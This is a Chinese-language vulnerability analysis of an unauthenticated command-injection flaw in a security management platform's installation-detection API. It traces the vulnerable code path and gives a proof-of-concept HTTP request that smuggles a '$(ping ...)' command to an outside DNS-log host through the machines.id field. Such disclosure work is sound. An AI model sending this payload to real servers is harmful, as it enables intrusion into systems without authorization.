漏洞介绍

某综合安防管理平台/center/api/installation/detection存在远程命令执行漏洞,未经身份验证的远程攻击者可通过该漏洞在服务器端任意执行代码。

漏洞分析

全局搜索路径/detection,定位代码DeployController,大概就是传入json格式的DetectRequestBean,当type的值为environment时,调用IInstallDetectServiceImpl#getSystemDetect方法处理DetectRequestBean

首先查看请求体,包括type,operate和MachineInstallationBean类的machines

跟进MachineInstallationBean,需要传入id、name、IP等

看完了参数,接下来看IInstallDetectServiceImpl#getSystemDetect具体处理过程,首先获取传入的Machines值,然后遍历Machines,获取其id值并赋值给餐宿agentNo,然后调用AgentOperationUtil.assembleCheckInstallEnvs

跟进AgentOperationUtil.assembleCheckInstallEnvs,将获取到的agentNo存入message中并返回

接着又调用AgentSendMessageConvert.convertExecuteCommand处理message,包括去除换行符、转义双引号等,并根据系统类型转换为对应的命令执行格式

最后调用DataCommonMethod.analysisCmdexeExecuteResult执行cmdArray

执行命令

主要还是调用DataCommonMethod.analysisCmdexeExecuteResult时,未对参数有任何过滤造成的,全局搜索该函数,跟一下对应的Controller函数,可以发现其他接口还是存在命令执行的。

漏洞POC

POST /center/api/installation/detection HTTP/1.1Host: User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.1249.139 Safari/537.36Accept-Encoding: gzip, deflateAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Connection: closeAccept-Language: zh-CN,zh;q=0.9Content-Type: application/json;charset=UTF-8Content-Length: 148
{"type": "environment", "operate": "", "machines": {"id": "$(ping%20e19eb49e.log.dnslog.store)"}}

修复方式

升级补丁

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。